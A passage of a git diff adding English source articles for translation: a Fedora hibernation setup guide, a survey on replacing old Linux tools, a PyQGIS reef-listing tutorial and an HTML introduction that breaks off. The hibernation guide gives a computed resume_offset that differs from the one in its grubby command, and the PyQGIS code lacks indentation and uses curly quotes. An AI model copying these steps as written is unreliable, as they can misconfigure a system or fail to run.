https://www.debugpoint.com/best-ubuntu-apps-2022-part2/ +[28]: https://www.debugpoint.com/necessary-ubuntu-apps-2022/ diff --git a/sources/tech/20220810 Hibernation in Fedora Workstation.md b/sources/tech/20220810 Hibernation in Fedora Workstation.md new file mode 100644 index 0000000000..816ab3205f --- /dev/null +++ b/sources/tech/20220810 Hibernation in Fedora Workstation.md @@ -0,0 +1,269 @@ +[#]: subject: "Hibernation in Fedora Workstation" +[#]: via: "https://fedoramagazine.org/hibernation-in-fedora-36-workstation/" +[#]: author: "Alexander Wellbrock https://fedoramagazine.org/author/w4tsn/" +[#]: collector: "lujun9972" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Hibernation in Fedora Workstation +====== + +![][1] + +Photo by [Beth Jnr][2] on [Unsplash][3] + +This article walks you through the manual setup for hibernation in Fedora Linux 36 Workstation using BTRFS and is based on a [gist by eloylp on github][4]. + +### Goal and Rationale + +Hibernation stores the current runtime state of your machine – effectively the contents of your RAM, onto disk and does a clean shutdown. Upon next boot this state is restored from disk to memory such that everything, including open programs, is how you left it. + +Fedora Workstation uses ZRAM. This is a sophisticated approach to swap using compression inside a portion of your RAM to avoid the slower on-disk swap files. Unfortunately this means you don’t have persistent space to move your RAM upon hibernation when powering off your machine. + +### How it works + +The technique configures _systemd_ and _dracut_ to store and restore the contents of your RAM in a temporary swap file on disk. The swap file is created just before and removed right after hibernation to avoid trouble with ZRAM. A persistent swap file is not recommended in conjunction with ZRAM, as it creates some confusing problems compromising your systems stability. + +### A word on compatibility and expectations + +Hibernation following this guide might not work flawless on your particular machine(s). Due to possible shortcomings of certain drivers you might experience glitches like non-working wifi or display after resuming from hibernation. In that case feel free to reach out to the comment section of the [gist on github][4], or try the tips from the troubleshooting section at the bottom of this article. + +The changes introduced in this article are linked to the systemd hibernation.service and hibernation.target units and hence won’t execute on their own nor interfere with your system if you don’t initiate a hibernation. That being said, if it does not work it still adds some small bloat which you might want to remove. + +### Hibernation in Fedora Workstation + +The first step is to create a btrfs sub volume to contain the swap file. + +``` + + $ btrfs subvolume create /swap + +``` + +In order to calculate the size of your swap file use _swapon_ to get the size of your _zram_ device. + +``` + + $ swapon + NAME TYPE SIZE USED PRIO + /dev/zram0 partition 8G 0B 100 + +``` + +In this example the machine has 16G of RAM and a 8G zram device. ZRAM stores roughly double the amount of system RAM compressed in a portion of your RAM. Let that sink in for a moment. This means that in total the memory of this machine can hold 8G * 2 + 8G of RAM which equals 24G uncompressed data. Create and configure the swapfile using the following commands. + +``` + + $ touch /swap/swapfile + # Disable Copy On Write on the file + $ chattr +C /swap/swapfile + $ fallocate --length 24G /swap/swapfile + $ chmod 600 /swap/swapfile + $ mkswap /swap/swapfile + +``` + +Modify the dracut configuration and rebuild your initramfs to include the + +resume + +module, so it can later restore the state at boot. + +``` + + $ cat <<-EOF | sudo tee /etc/dracut.conf.d/resume.conf + add_dracutmodules+=" resume " + EOF + $ dracut -f + +``` + +In order to configure grub to tell the kernel to resume from hibernation using the swapfile, you need the UUID and the physical offset. + +Use the following command to determine the UUID of the swap file and take note of it. + +``` + + $ findmnt -no UUID -T /swap/swapfile + dbb0f71f-8fe9-491e-bce7-4e0e3125ecb8 + +``` + +Calculate the correct offset. In order to do this you’ll unfortunately need _gcc_ and the [source of the btrfs_map_physical tool][5], which computes the physical offset of the swapfile on disk. Invoke gcc in the directory you placed the source in and run the tool. + +``` + + $ gcc -O2 -o btrfs_map_physical btrfs_map_physical.c + $ ./btrfs_map_physical /path/to/swapfile + + FILE OFFSET EXTENT TYPE LOGICAL SIZE LOGICAL OFFSET PHYSICAL SIZE DEVID PHYSICAL OFFSET + 0 regular 4096 2927632384 268435456 1 <4009762816> + 4096 prealloc 268431360 2927636480 268431360 1 4009766912 + 268435456 prealloc 268435456 3251634176 268435456 1 4333764608 + 536870912 prealloc 268435456 3520069632 268435456 1 4602200064 + 805306368 prealloc 268435456 3788505088 268435456 1 4870635520 + 1073741824 prealloc 268435456 4056940544 268435456 1 5139070976 + 1342177280 prealloc 268435456 4325376000 268435456 1 5407506432 + 1610612736 prealloc 268435456 4593811456 268435456 1 5675941888 + +``` + +The first value in the _PHYSICAL OFFSET_ column is the relevant one. In the above example it is **4009762816**. + +Take note of the _pagesize_ you get from _getconf PAGESIZE_. + +Calculate the kernel _resume_offset_ through division of _physical offset_ by the _pagesize_. In this example that is _4009762816 / 4096 = 978946_. + +Update your grub configuration file and add the _resume_ and _resume_offset_ kernel cmdline parameters. + +``` + + grubby --args="resume=UUID=dbb0f71f-8fe9-491e-bce7-4e0e3125ecb8 resume_offset=2459934" --update-kernel=ALL + +``` + +The created _swapfile_ is only used in the hibernation stage of system shutdown and boot hence not configured in _fstab_. Systemd units control this behavior, so create the two units _hibernate-preparation.service_ and _hibernate-resume.service_. + +``` + + $ cat <<-EOF | sudo tee /etc/systemd/system/hibernate-preparation.service + [Unit] + Description=Enable swap file and disable zram before hibernate + Before=systemd-hibernate.service + + [Service] + User=root + Type=oneshot + ExecStart=/bin/bash -c "/usr/sbin/swapon /swap/swapfile && /usr/sbin/swapoff /dev/zram0" + + [Install] + WantedBy=systemd-hibernate.service + EOF + $ systemctl enable hibernate-preparation.service + $ cat <<-EOF | sudo tee /etc/systemd/system/hibernate-resume.service + [Unit] + Description=Disable swap after resuming from hibernation + After=hibernate.target + + [Service] + User=root + Type=oneshot + ExecStart=/usr/sbin/swapoff /swap/swapfile + + [Install] + WantedBy=hibernate.target + EOF + $ systemctl enable hibernate-resume.service + +``` + +Systemd does memory checks on login and hibernation. In order to avoid issues when moving the memory back and forth between _swapfile_ and _zram_ disable some of them. + +``` + + $ mkdir -p /etc/systemd/system/systemd-logind.service.d/ + $ cat <<-EOF | sudo tee /etc/systemd/system/systemd-logind.service.d/override.conf + [Service] + Environment=SYSTEMD_BYPASS_HIBERNATION_MEMORY_CHECK=1 + EOF + $ mkdir -p /etc/systemd/system/systemd-hibernate.service.d/ + $ cat <<-EOF | sudo tee /etc/systemd/system/systemd-hibernate.service.d/override.conf + [Service] + Environment=SYSTEMD_BYPASS_HIBERNATION_MEMORY_CHECK=1 + EOF + +``` + +**Reboot your machine for the changes to take effect**. The following SELinux configuration won’t work if you don’t reboot first. + +SELinux won’t like hibernation attempts just yet. Change that with a new policy. An easy although “brute” approach is to initiate hibernation and use the audit log of this failed attempt via _audit2allow_. The following command will fail, returning you to a login prompt. + +``` + + systemctl hibernate + +``` + +After you’ve logged in again check the audit log, compile a policy and install it. The _-b_ option filters for audit log entries from last boot. The _-M_ option compiles all filtered rules into a module, which is then installed using _semodule -i_. + +``` + + $ audit2allow -b + #============= systemd_sleep_t ============== + allow systemd_sleep_t unlabeled_t:dir search; + $ cd /tmp + $ audit2allow -b -M systemd_sleep + $ semodule -i systemd_sleep.pp + +``` + +Check that hibernation is working via _systemctl hibernate_ again. After resume check that ZRAM is indeed the only active swap device. + +``` + + $ swapon + NAME TYPE SIZE USED PRIO + /dev/zram0 partition 8G 0B 100 + +``` + +You now have hibernation configured. + +### GNOME Shell hibernation integration + +You might want to add a hibernation button to the GNOME Shell “Power Off / Logout” section. Check out the extension [Hibernate Status Button][6] to do so. + +### Troubleshooting + +A first place to troubleshoot any problems is through _journalctl -b_. Have a look around the end of the log, after trying to hibernate, to pin-point log entries that tell you what might be wrong. + +Another source of information on errors is the Problem Reporting tool. Especially problems, that are not common but more specific to your hardware configuration. Have a look at it before and after attempting hibernation and see if something comes up. Follow up on any issues via BugZilla and see if others experience similar problems. + +### Revert the changes + +To reverse the changes made above, follow this check-list: + + * remove the swapfile + * remove the swap subvolume + * remove the dracut configuration and rebuild dracut + * remove kernel cmdline args via _grubby –remove-args=_ + * disable and remove hibernation preparation and resume services + * remove systemd overrides for _systemd-logind.service_ and _systemd-hibernation.service_ + * remove SELinux module via _semodule -r systemd_sleep_ + + + +### Credits and Additional Resources + +This article is a community effort based primarily on the work of eloylp. As author of this article I’d like to make transparent that I’ve participated in the discussion to advance the gist behind this but many more minds contributed to make this work. Make certain to check out the [discussion on github][7]. + +There are already some _ansible_ playbooks and shell scripts to automate the process depicted in this guide. For example check out the shell scripts by [krokwen][8] and [pietryszak][9] or the _ansible_ playbook by [jorp][10] + +See the [arch wiki][11] for the full guide on how to calculate the swapfile offset. + +-------------------------------------------------------------------------------- + +via: https://fedoramagazine.org/hibernation-in-fedora-36-workstation/ + +作者:[Alexander Wellbrock][a] +选题:[lujun9972][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://fedoramagazine.org/author/w4tsn/ +[b]: https://github.com/lujun9972 +[1]: https://fedoramagazine.org/wp-content/uploads/2022/08/Hibernation_in_Fedora_Workstation-816x345.jpg +[2]: https://unsplash.com/@bthjnr?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText +[3]: https://unsplash.com/s/photos/late-night-on-the-computer?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText +[4]: https://gist.github.com/eloylp/b0d64d3c947dbfb23d13864e0c051c67 +[5]: https://github.com/osandov/osandov-linux/blob/master/scripts/btrfs_map_physical.c +[6]: https://github.com/arelange/gnome-shell-extension-hibernate-status +[7]: https://gist.github.com/eloylp/b0d64d3c947dbfb23d13864e0c051c67?permalink_comment_id=3889734#gistcomment-3889734 +[8]: https://pastebin.com/nLSkaMQZ +[9]: https://github.com/pietryszak/fedora-hibernation +[10]: https://github.com/jorp/fedora_hibernate +[11]: https://wiki.archlinux.org/title/Power_management/Suspend_and_hibernate#Hibernation_into_swap_file_on_Btrfs diff --git a/sources/tech/20220810 Our favorite Linux replacements for antiquated open source tools.md b/sources/tech/20220810 Our favorite Linux replacements for antiquated open source tools.md new file mode 100644 index 0000000000..2c3419b61b --- /dev/null +++ b/sources/tech/20220810 Our favorite Linux replacements for antiquated open source tools.md @@ -0,0 +1,164 @@ +[#]: subject: "Our favorite Linux replacements for antiquated open source tools" +[#]: via: "https://opensource.com/article/22/8/replace-antiquated-linux-tools" +[#]: author: "Opensource.com https://opensource.com/users/admin" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Our favorite Linux replacements for antiquated open source tools +====== +We asked our community of contributors what open source tools they are using in place of those that feel outdated or antiquated. + +Here at [Opensource.com][2], we thought it would be interesting to survey some of our authors to get a feel for what tools they feel are antiquated (but perhaps still useful!) and what they think of the replacement utilities. What follows is a series of responses and a bit of fun, too. + +We sent out the following prompt: + +* Have you discovered some of your favorite tools have become outdated or deprecated? Or maybe you just switched it up for something new? +* What do you use now? Tell us a little about how you feel it is helpful to have made the switch. + +### Firewalls + +A biggie for me is iptables. I sweated blood learning how to use iptables, and ebtables, and arptables, and how to manipulate MAC addresses, and more. I built dozens of firewalls around scripts to set up rulesets, and I eventually got pretty good at it. Now nftables makes all that obsolete. The fun never stops. I still think somebody with marketing clout could make software-defined boundaries work. —[Greg Scott][3] + +#### +1 on iptables + +I have been using iptables since I first learned Linux 25+ years ago. The newest tool is firewalld, but that and all other firewall tools I have seen for Red Hat-based distros are still based on and wrap around the kernel-level netfilter modules. I find the [firewalld][4] tool creates huge sets of rules that don't do anything more for me than the older iptables. I am sure some large environments need those complex rulesets, but they could also be implemented using iptables or scripts like Greg's. + +I do like `nmcli`, but it is taking me some time to learn it. In fact, I prefer it to the old `ifcfg` and `ip` commands. It feels more integrated into the system than the older ones. But I do like the older `ifcfg-` interface configuration files. Those are easy to create and understand. They don't require the INI-style format that requires section headers. In fact, the old-style files are not even sequence sensitive. —[David Both][5] + +#### ipchains? + +To further underscore this example, are you sure you weren't using ipchains back then? (The ipfirewall and ipfwadm successor, ipchains wasn't supplanted by iptables until around 2001.) —[Jeremy Stanley][6] + +*In response to Jeremy. ^^* + +My very first firewall was ipchains, circa late 1999. Everything after that was iptables. Back then, I had to build my own kernel to get all the netfilter modules I needed. Modern conveniences like flat-panel monitors and DSL were science fiction in those days. And don't even think about fiber. I had to ride a horse uphill through blizzards every day to visit customers. And then it was uphill back home, too. —[Greg Scott][7] + +### Text editing + +I just have to ask—who's still using troff (groff) and who has moved on to... hmm, shall we say, LibreOffice or AsciiDoctor or...? + +I have a dear friend who continues with a troff-based product on his Sun SPARCStation V. —[Chris Hermansen][8] + +**[[ Related read Old-school technical writing with groff ]][9]** + +#### Editing man pages + +*^^ In response to Chris* + +Anyone maintaining man pages! Though lots of people are probably generating those from other markup these days. Some folks (like me) do still compose or edit the troff files directly instead. —[Jeremy Stanley][10] + +#### Markup stacks + +There are always people who use older things, but there are superior tools nowadays. I wouldn't use LibreOffice for the kind of stuff you'd use troff/groff for—if you are writing at that level, you probably depend on a text editor you know well, source-control for managing your inputs, and you are comfortable with markup languages. + +That means you want to use a markup stack. There are many, including: + +* Sphinx + ReST + GitHub Actions + GitHub Pages +* MkDocs + Markdown + GitLab CI + GitLab Pages +* Nikola + Jupyter Notebooks + Jenkins + (AWS S3 + CloudFront) + +What is common to all the stacks is: + +* A thing that pulls different input files into one coherent whole (Sphinx/MkDocs/Nikola) +* A reasonably high-level text markup language (ReST/Markdown/MD embedded in Jupyter Notebooks) +* A CI pipeline to transform those into the output format (usually a tree of HTML files, but sometimes a PDF or something) +* A place where people can download the published version (GitHub Pages, GitLab Pages, AWS S3 + CloudFront) + +I'll note that these are pretty much orthogonal choices. Any reasonable generator can take any input (even MkDocs, for which it is least true, has the mkdocs-gen-files plugin so you can use Pandoc to convert stuff to Markdown). Any reasonable CI can run any generator and push to any target. + +So even with the list above, there are 81 stacks available. + +(Sphinx/MkDocs/Nikola) x (ReST/Markdown/Jupyter Notebooks) x (GHA/GitLab CI/Jenkins) x (GHP/GLP/S3+CF) + +Because Pandoc understands troff (ms/man), you can plug troff+ms or troff+man into the "markup" slot if you really want to. You can probably install Jenkins on the Sun SPARCStation V and keep using the same machine and format. But why? :) + +There's probably an article for OSDC there: "How I converted troff docs to a modern stack using mkdocs+mkdocs-gen-files and GitLab CI." —[Moshe Zadka][11] + +#### Other groff examples + +Actually, I'm writing an article right now about "Old school technical writing with groff" (part of a larger series I'm writing about tech writing tools). I don't use groff for serious tech writing, but it's in my toolkit of things I learned and will probably never forget. And I review groff when I teach "Writing with Digital Technologies." + +While writing the article, I recalled that when I installed Linux in 1993, there weren't *any* writing apps on Linux. No word processors, just groff and LaTeX. I used LaTeX to write my physics lab reports (because it could do math easily) and groff to write papers for other classes (because I could opt to print to a line printer instead, which I thought was a clever way to make my paper look longer). If I wanted to write with a word processor, I had to dual-boot back to DOS to run WordPerfect or Galaxy Write. StarOffice came out for Linux in 1996. I bought StarOffice. + +Interestingly, Brian Kernighan still writes all his books in groff. "Unix: A History and a Memoir" (2020) and "Understanding the Digital World" (2021) were both completely processed in groff. —[Jim Hall][12] + +### Revisiting the fmt command + +I use the `fmt` command a lot these days. It's really handy for a ton of stuff. If you write Readme documentation (or other docs) in plain text, you know the pain when you insert some new text in the middle of a line, and then the lines don't end at the same column. You can run `fmt` to clean that up. + +More commonly, I'm on an email list where list members prefer to receive emails in plain text, so my email client is set for plain text most of the time. If I need to reply to someone's list email (and they didn't send it in plain text), a paragraph is usually just one long line, and my email client doesn't correctly line-wrap when I reply. It's just `>` at the start of a long sentence. + +So I do this: + +``` +$ fmt -p '>' > /tmp/f +{copy & paste ">" quoted text} +^D +``` + +And then: + +``` +$ cat /tmp/f +``` + +And then copy and paste the result into my email. —[Jim Hall][13] + +### Changes to bootloaders + +Just when your *foo* is sufficiently sharp, there are reasonable odds the tools will be replaced. + +LILO to GRUB was painful until my GRUB-foo reached a sufficient level. GRUB2 is awesome, but a new learning curve. + +Muscle memory is also an issue — `ipconfig`, `nslookup`, and `netstat` are on auto-pilot. Plus, if you're using other Linux environments, like Tiny Core Linux, you might not always have the latest and greatest tools. + +Switching from `if-cfg` -style scripts to `nmcli` is the new learning curve, so this never really ends. —[Steven Ellis][14] + +**[[ Related read 6 deprecated Linux commands and the tools you should be using instead ]][15]** + +### Quick FIPS set up + +Often things change for the better; my two cents. The question was asked, *Have you discovered some of your favorite tools have become outdated or deprecated? Or maybe you just switched it up for something new?* + +A colleague recently asked me how to enable FIPS on Linux, and it's something I had not done in a while. I remember how arcane this process was, which involved enabling a repo, installing a package (dracut-fips), running commands (`dracut` ) to regenerate initramfs, modifying the GRUB bootloader config file (fips=1), etc. + +Also, *What do you use now? Tell us a little about how you feel it is helpful to have made the switch.* + +Luckily on RHEL9, the above has been replaced by the `fips-mode-setup` command with two handy flags, `--check` and `--setup`. That's it! Run those commands, reboot the system, and your machine boots up with FIPS enabled. Super easy! —[Gaurav Kamathe][16] + +### Old and comfortable + +Clearly, both the fun of open source and the strong opinions are still present, as is the variety of tools and the freedom to choose what works best for you. Perhaps these tools and others like them are old—even antiquated—but they may still serve a purpose. Some of these older utilities inspired more modern solutions without losing their own inherent value. Finally, there's something to be said for user comfort and familiarity. With open source, all those hours spent developing your foo need not be lost just because some vendor decided it was time for a new release. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/8/replace-antiquated-linux-tools + +作者:[Opensource.com][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/admin +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/GOV_2dot0.png +[2]: https://opensource.com/ +[3]: https://opensource.com/users/greg-scott +[4]: https://www.redhat.com/sysadmin/secure-linux-network-firewall-cmd +[5]: https://opensource.com/users/dboth +[6]: https://opensource.com/users/fungi +[7]: https://opensource.com/users/greg-scott +[8]: https://opensource.com/users/clhermansen +[9]: https://opensource.com/article/22/8/old-school-technical-writing-groff +[10]: https://opensource.com/users/fungi +[11]: https://opensource.com/users/moshez +[12]: https://opensource.com/users/jim-hall +[13]: https://opensource.com/users/jim-hall +[14]: https://opensource.com/users/steven-ellis +[15]: https://www.redhat.com/sysadmin/deprecated-linux-command-replacements?intcmp=7013a000002qLH8AAM +[16]: https://opensource.com/users/gkamathe diff --git a/sources/tech/20220810 Using Machine Learning to Identify Reefs in the Ocean.md b/sources/tech/20220810 Using Machine Learning to Identify Reefs in the Ocean.md new file mode 100644 index 0000000000..ea992561ad --- /dev/null +++ b/sources/tech/20220810 Using Machine Learning to Identify Reefs in the Ocean.md @@ -0,0 +1,159 @@ +[#]: subject: "Using Machine Learning to Identify Reefs in the Ocean" +[#]: via: "https://www.opensourceforu.com/2022/08/using-machine-learning-to-identify-reefs-in-the-ocean/" +[#]: author: "Geetali Saha https://www.opensourceforu.com/author/geetali-saha/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Using Machine Learning to Identify Reefs in the Ocean +====== + +*Various data and image processing techniques, along with machine learning algorithms, make it possible to study, analyse, understand and identify unknown and lesser-known facts via supervised or unsupervised learning. This article explains the use of PyQGIS to identify reefs in the Indian coastal region.* + +It was in the middle of the last century that mankind started exploring regions beyond the earth through satellites and space missions. This exploration is broadly classified into in situ or onsite observation and remote sensing. The in situ observations are limited and the major challenge is to reach out to parts of the Earth and space for monitoring the physical characteristics by acquiring information through reflected and emitted radiation. These can be achieved with the help of sensors and cameras on board satellites, aircraft, unmanned aerial vehicles and drones. Passive remote sensing involves the use of charge coupled devices, radiometers, film photography and infrared. Radars and LiDARs are active remote sensing elements that emit energy, and scan locations/objects based on the radiation that is reflected or back scattered from the target. The observations are either some data or image. + +Geographic information systems (GIS) integrate data, location, maps and information, thereby providing a platform to understand geographical patterns. Popular open source GIS tools are quantum GIS (QGIS), geographic resources analysis support systems (GRASS GIS), system for automated geoscientific analyses (SAGA GIS) and MapWindow. Machine learning owes its popularity to open source programming/GUI choices like WEKA, KNIME, R and Python programming. The merger of GIS and machine learning has opened new avenues in research to explore beyond what is visible through sensors. + +| | Raster maps | Vector maps | +| :- | :- | :- | +| Created by | Created with pixels | Created with mathematical formulae | +| Scaling | Quality loss when scaling is done | Scalable to any size | +| Programs used | Adobe Photoshop, Corel Painter, Gimp, Artweaver, Pixlr X | Adobe Illustrator, Sketch, Coreldraw, Affinity Designer, Inkscape | +| Comprise | Raster data is made up of pixels (also grid cells). These are usually regularly spaced and square | Real-world features in maps are represented as points, lines, and polygons (areas) | +| File types | .jpg, .png, .gif, .tiff, .psd, .bmp | .ai, .eps, .cdr, .svg, .pdf, .dfx | +| Advantages | The inherent nature of raster maps, e.g., one attribute maps, is ideally suited for mathematical modelling and quantitative analysis. | Topology rules can help data integrity with vector data models. Network analysis and proximity operations use such an approach. | +| Drawback | Raster maps reflect only one attribute or characteristic for an area. Processing of diverse characteristics becomes cumbersome | Vector data is processing intensive. Any feature edits require updates on topology. With many features, vector manipulation algorithms are complex | + +resources analysis support systems (GRASS GIS), system for automated geoscientific analyses (SAGA GIS) and MapWindow. Machine learning owes its popularity to open source programming/GUI choices like WEKA, KNIME, R and Python programming. The merger of GIS and machine learning has opened new avenues in research to explore beyond what is visible through sensors. + +In this article we are using the Python console of the quantum GIS platform — PyQGIS. + +Maps are available either in raster or vector form for study and we can choose them depending on our task, software and region of interest. Vector data is focused on modelling discrete features with precise shapes and boundaries. Raster data is more about modelling continuous phenomena of the earth and images. The same can be imported to the Project template of the QGIS window. + +The map used in the present setup is downloaded from [https://www.naturalearthdata.com.][1] Natural Earth Vector comes in ESRI shapefile format, the de facto standard for vector geodata. Character encoding is UTF-8. Natural Earth Raster comes in TIFF format with a TFW world file. All Natural Earth data uses the geographic coordinate system (projection), WGS84 datum. Natural Earth shapefile character encoding is specified in the code page flag in the shapefile’s DBF file; for additional compatibility it is also specified in the CPG file. Natural Earth’s WGS84 projection is specified in shapefile’s PRJ file. + +![Figure 1: PyQGIS process flow][2] + +Natural Earth is a public domain map data set available at 1:10m, 1:50m, and 1:110m scales. Featuring tightly integrated vector and raster data, with Natural Earth you can make a variety of visually pleasing, well-crafted maps with cartography or GIS software. Natural Earth was built through a collaboration of many volunteers and is supported by NACIS (North American Cartographic Information Society). It is free for use in any type of project. + +The present map belongs to a category of most detailed maps — major coral reefs from WDB2 or World Data Bank 2. I am using QGIS 3.22 Białowieża version and working using its Python console. I have modified the reefs data set by appending the names of the nearest island and limited the entire list to 98 reefs along the western coast of India, including other countries. + +*Step 1:* Open a new project in QGIS and select ‘HCMGIS > BaseMap > Google Satellite Hybrid’. + +*Step 2:* This should load the previously geo-referenced global map on the Project view. The moment this is done, Layers (left lower section) will show the Google satellite hybrid image. Pan to the western water bodies of India and zoom on the location, as seen in Figure 2. + +![Figure 2: Project view of QGIS][3] + +*Step 3:* Select all the map files related to the desired features and convert them to .kml using any tool freely available online. You can set the output reference settings to Lat long Wgs 84 standard and choose to convert. Download the .kml file once conversion is completed. We did it using the tool at [https://products.aspose.app/gis/en/conversion/shapefile-to-kml.][4] + +*Step 4:* Select layers that can be superimposed to this Google satellite hybrid image (refer Figure 3). + +![Figure 3: Layer selection in QGIS][5] + +*Step 5:* Open the data source manager vector file addition option from the menu. + +*Step 6:* Provide the correct path to obtain the .kml file from the download location and add it. + +*Step 7:* Open the concerned .kml file into the Data Source Manager-Vector mode and select the Add option (middle button on the right bottom). It should display the list of eligible files that can be added to it (refer Figure 4). + +![Figure 4: Data source manager][6] + +**Step 8:** Click Add layers (which you wish to include in the map to view). + +Close the data source manager. You should be able to locate two files on the Layers window: + +* The reef details file +* Google satellite hybrid image file + +Remember to put the reef details in first position followed by the Google satellite hybrid image, else the reef details won’t be visible at the desired locations. + +Zoom on to your region of interest or make sure you select only those reefs and islands that you wish to study. You should be able to identify specific locations that are in the Arabian Sea. They presently appear with a yellow background (see Figure 5). + +![Figure 5: View of the reef details][7] + +You can access the properties with a right click on the reefs layer for other options. + +Now, if you wish, you may alter the colour and the boundary of the symbols and change their representation. + +A typical outline of the reefs located on specific islands is shown in Figure 6. + +![Figure 6: Reefs located on specific islands][8] + +### Moving on to the Python console + +Python was first introduced in QGIS 0.9, and Python codes can be implemented in the QGIS environment using the following ways: + +* Issue commands in the Python console within QGIS (the most popular choice and also widely implemented) +* Create and use plugins +* Automatically run Python code when QGIS starts +* Create processing algorithms +* Create functions for expressions in QGIS +* Create custom applications based on the QGIS API + +![Figure 7: A typical QGIS Python console][9] + +A wonderful resource for learning common task execution is to download the existing plugins from the plugin repository. QGIS provides an integrated Python console for scripting. It can be accessed from the *Plugins ► Python Console* menu. + +QGIS essentially works as a layer based approach, and hence it becomes vital to obtain the currently selected layer in the layer list on the top. The ID visibility is optional. If the current layer happens to be a vector layer, the features are the most vital components and so is the feature count. In the QGIS environment, the iface variable, an instance of *QgisInterface*, allows the user to access the map canvas, menus, toolbars and other parts of the QGIS application. + +The *iface.activeLayer()* method gives us the currently selected layer. + +``` +>>>layer = iface.activeLayer() +>>>dir(layer) + +for f in layer.getFeatures(): +print (f) +``` + +Executing the code in the console will provide the output, as shown in Figure 8. + +![Figure 8: Output][10] + +``` +for f in layer.getFeatures(): +print (f[‘fid’], f[‘NAME’]) +output_file = open(‘d:/Geetali/Reefs_WestCoastIndian.txt’, ‘w’) +``` + +This will generate a *.txt* document at the desired location with the desired name. +Finally we will execute the code below to display the names of the reefs + +``` +for f in layer.getFeatures(): +geom = f.geometry() +line = ‘%s, %s\n’ % (f[‘fid’], f[‘NAME’]) +output_file.write(line) +output_file.close() +``` + +Figure 9 shows that after complete execution of the Python code, we have successfully loaded the names of the 98 reefs on the western coast of India. + +![Figure 9: Names of the 98 reefs on the western coast of India][11] + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/08/using-machine-learning-to-identify-reefs-in-the-ocean/ + +作者:[Geetali Saha][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/geetali-saha/ +[b]: https://github.com/lkxed +[1]: https://www.naturalearthdata.com. +[2]: https://www.opensourceforu.com/wp-content/uploads/2022/06/Figure-1-PyQGIS-process-flow.jpg +[3]: https://www.opensourceforu.com/wp-content/uploads/2022/06/Figure-2-Project-view-of-QGIS.jpg +[4]: https://products.aspose.app/gis/en/conversion/shapefile-to-kml. +[5]: https://www.opensourceforu.com/wp-content/uploads/2022/06/Figure-3-Layer-selection-in-QGIS.jpg +[6]: https://www.opensourceforu.com/wp-content/uploads/2022/06/Figure-4-Data-source-manager.jpg +[7]: https://www.opensourceforu.com/wp-content/uploads/2022/06/Figure-5-View-of-the-reef-details-3.jpg +[8]: https://www.opensourceforu.com/wp-content/uploads/2022/06/Figure-6-Reefs-located-on-specific-islands-3.jpg +[9]: https://www.opensourceforu.com/wp-content/uploads/2022/06/Figure-7-A-typical-QGIS-Python-console-1.jpg +[10]: https://www.opensourceforu.com/wp-content/uploads/2022/06/Figure-8-Output.jpg +[11]: https://www.opensourceforu.com/wp-content/uploads/2022/06/Figure-9-Names-of-the-98-reefs-on-the-western-coast-of-India-1.jpg diff --git a/sources/tech/20220811 A gentle introduction to HTML.md b/sources/tech/20220811 A gentle introduction to HTML.md new file mode 100644 index 0000000000..b711b5a753 --- /dev/null +++ b/sources/tech/20220811 A gentle introduction to HTML.md @@ -0,0 +1,218 @@ +[#]: subject: "A gentle introduction to HTML" +[#]: via: "https://opensource.com/article/22/8/gentle-introduction-html" +[#]: author: "Jim Hall https://opensource.com/users/jim-hall" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +A gentle introduction to HTML +====== +Learn the markup language of the web. + +![Digital creative of a browser on the internet][1] + +I feel confident in claiming that HTML is the most widely used markup language ever. While other markup languages exist, including , LaTeX, and [Markdown][2], no other markup language is as widespread as the Hyper Text Markup Language. HTML is the de facto language of the Web. First implemented in web browsers in 1994, the language continues to evolve. Yet the basics of HTML remain the same. + +If you are just getting started in HTML, I wanted to offer this gentle introduction to learning HTML. I focus on the essentials of HTML to build a basic understanding of how HTML works. You can use this as a starting point to learn more about HTML. + +### Collect words to fill a paragraph + +Let's start with a basic understanding of HTML and how client applications like web browsers display HTML documents. At its core, HTML *collects* words in a file and *fills* a paragraph. That means if you don't add instructions (called markup) to an HTML file, and just leave it as plain text, a web browser turns all that text into a single paragraph. + +Start with this sample text, saved in a plain text file called `index.html`. This is a paragraph from the old *King's Toaster* story, an Internet fable about how you might build a toaster out of a microcontroller: + +``` +The engineer replied, + +"Using a four-bit microcontroller, I would write a simple +program that reads the darkness knob and quantizes its +position to one of 16 shades of darkness, from snow white +to coal black. + +The program would use that darkness level as the index to +a 16-element table of initial timer values. + +Then it would turn on the heating elements and start the +timer with the initial value selected from the table. + +At the end of the time delay, it would turn off the heat +and pop up the toast. + +Come back next week, and I'll show you a working +prototype." +``` + +You can put this file on a web server and access it like you would any website, or you can save it to your local disk and open it directly in a web browser. How you get the file into the web browser doesn't really matter. But you should name the file with an `.html` extension, which web browsers recognize by default as an HTML file. + +In this case, I've written the file on separate lines. I've also added some blank lines, to demonstrate that HTML doesn't care about extra white space. This extra space may help humans read the HTML code, but the web browser just treats it as one block by default. Viewed on a web browser, this file looks like this: + +![The HTML page as displayed in a web browser][3] + +Image by: + +(Jim Hall, CC BY-SA 4.0) + +### Inline and block elements + +At the core of HTML is the concept of *inline* and *block* elements. You can think of block elements as *always filling a rectangle*. Inline elements *follow only the inline text*. + +The basic block element is called the *division*, and uses the `
